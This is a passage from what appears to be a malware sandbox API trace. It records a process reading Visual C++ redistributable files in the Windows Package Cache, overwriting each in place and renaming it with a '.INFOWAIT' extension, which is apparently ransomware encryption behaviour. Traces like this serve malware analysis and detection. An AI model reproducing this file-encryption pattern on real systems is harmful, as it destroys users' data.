lpString1="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\cab1.cab.INFOWAIT") returned="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\cab1.cab.INFOWAIT" [0139.641] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\vcruntimeadditional_amd64\\cab1.cab"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\cab1.cab.INFOWAIT" (normalized: "c:\\users\\all users\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\vcruntimeadditional_amd64\\cab1.cab.infowait")) returned 1 [0139.642] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0139.643] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0139.644] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0139.644] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi" (normalized: "c:\\users\\all users\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0139.665] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x23000 [0139.665] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0139.665] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0139.665] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x23000, lpOverlapped=0x0) returned 1 [0139.692] VirtualAlloc (lpAddress=0x0, dwSize=0x23000, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0139.703] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0139.703] WriteFile (in: hFile=0xad0, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x23000, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x23000, lpOverlapped=0x0) returned 1 [0139.703] CloseHandle (hObject=0xad0) returned 1 [0139.704] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi") returned="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi" [0139.704] lstrcatW (in: lpString1="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi.INFOWAIT") returned="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi.INFOWAIT" [0139.704] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi" (normalized: "c:\\users\\all users\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi.INFOWAIT" (normalized: "c:\\users\\all users\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi.infowait")) returned 1 [0139.704] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0139.705] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0139.706] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0139.706] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm" (normalized: "c:\\users\\all users\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0139.707] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x2fe [0139.707] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0139.707] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0139.707] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x2fe, lpOverlapped=0x0) returned 1 [0139.926] VirtualAlloc (lpAddress=0x0, dwSize=0x2fe, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0139.926] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0139.926] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x2fe, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x2fe, lpOverlapped=0x0) returned 1 [0139.926] CloseHandle (hObject=0xad0) returned 1 [0139.927] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm") returned="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm" [0139.927] lstrcatW (in: lpString1="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm.INFOWAIT") returned="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm.INFOWAIT" [0139.927] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm" (normalized: "c:\\users\\all users\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm.INFOWAIT" (normalized: "c:\\users\\all users\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm.infowait")) returned 1 [0139.928] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0139.929] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0139.929] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0139.929] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe" (normalized: "c:\\users\\all users\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\vc_redist.x64.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0139.929] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xbee38 [0139.929] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0139.930] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0139.930] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25800, lpOverlapped=0x0) returned 1 [0140.001] VirtualAlloc (lpAddress=0x0, dwSize=0x25800, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0140.011] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0140.011] WriteFile (in: hFile=0xad0, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25800, lpOverlapped=0x0) returned 1 [0140.012] CloseHandle (hObject=0xad0) returned 1 [0140.012] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe") returned="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe" [0140.012] lstrcatW (in: lpString1="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe.INFOWAIT") returned="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe.INFOWAIT" [0140.012] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe" (normalized: "c:\\users\\all users\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\vc_redist.x64.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe.INFOWAIT" (normalized: "c:\\users\\all users\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\vc_redist.x64.exe.infowait")) returned 1 [0140.012] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0140.013] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0140.014] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0140.014] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm" (normalized: "c:\\users\\all users\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0140.014] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x29a [0140.014] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0140.015] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0140.015] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x29a, lpOverlapped=0x0) returned 1 [0140.016] VirtualAlloc (lpAddress=0x0, dwSize=0x29a, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0140.016] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0140.016] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x29a, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x29a, lpOverlapped=0x0) returned 1 [0140.016] CloseHandle (hObject=0xad0) returned 1 [0140.016] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm") returned="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm" [0140.016] lstrcatW (in: lpString1="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm.INFOWAIT") returned="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm.INFOWAIT" [0140.016] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm" (normalized: "c:\\users\\all users\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm.INFOWAIT" (normalized: "c:\\users\\all users\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm.infowait")) returned 1 [0140.018] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0140.019] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0140.019] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0140.019] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe" (normalized: "c:\\users\\all users\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0140.020] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x71080 [0140.020] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0140.020] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0140.021] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25800, lpOverlapped=0x0) returned 1 [0140.078] VirtualAlloc (lpAddress=0x0, dwSize=0x25800, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0140.090] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0140.090] WriteFile (in: hFile=0xad0, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25800, lpOverlapped=0x0) returned 1 [0140.090] CloseHandle (hObject=0xad0) returned 1 [0140.090] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe") returned="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe" [0140.090] lstrcatW (in: lpString1="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe.INFOWAIT") returned="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe.INFOWAIT" [0140.091] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe" (normalized: "c:\\users\\all users\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe.INFOWAIT" (normalized: "c:\\users\\all users\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe.infowait")) returned 1 [0140.091] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0140.092] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0140.093] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0140.093] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm" (normalized: "c:\\users\\all users\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0140.094] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x2fe [0140.094] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0140.094] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0140.094] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x2fe, lpOverlapped=0x0) returned 1 [0140.096] VirtualAlloc (lpAddress=0x0, dwSize=0x2fe, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0140.097] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0140.097] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x2fe, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x2fe, lpOverlapped=0x0) returned 1 [0140.097] CloseHandle (hObject=0xad0) returned 1 [0140.097] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm") returned="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm" [0140.097] lstrcatW (in: lpString1="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm.INFOWAIT") returned="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm.INFOWAIT" [0140.097] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm" (normalized: "c:\\users\\all users\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm.INFOWAIT" (normalized: "c:\\users\\all users\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm.infowait")) returned 1 [0140.098] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0140.099] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0140.099] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0140.099] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe" (normalized: "c:\\users\\all users\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\vc_redist.x86.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0140.099] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xbee30 [0140.099] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0140.100] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0140.100] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25800, lpOverlapped=0x0) returned 1 [0141.357] VirtualAlloc (lpAddress=0x0, dwSize=0x25800, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0141.366] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0141.366] WriteFile (in: hFile=0xad0, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25800, lpOverlapped=0x0) returned 1 [0141.366] CloseHandle (hObject=0xad0) returned 1 [0141.366] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe") returned="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe" [0141.367] lstrcatW (in: lpString1="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe.INFOWAIT") returned="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe.INFOWAIT" [0141.367] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe" (normalized: "c:\\users\\all users\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\vc_redist.x86.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe.INFOWAIT" (normalized: "c:\\users\\all users\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\vc_redist.x86.exe.infowait")) returned 1 [0141.367] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0141.368] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0141.369] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0141.369] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\vcruntimeadditional_x86\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0141.369] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x4b4520 [0141.369] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0141.369] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 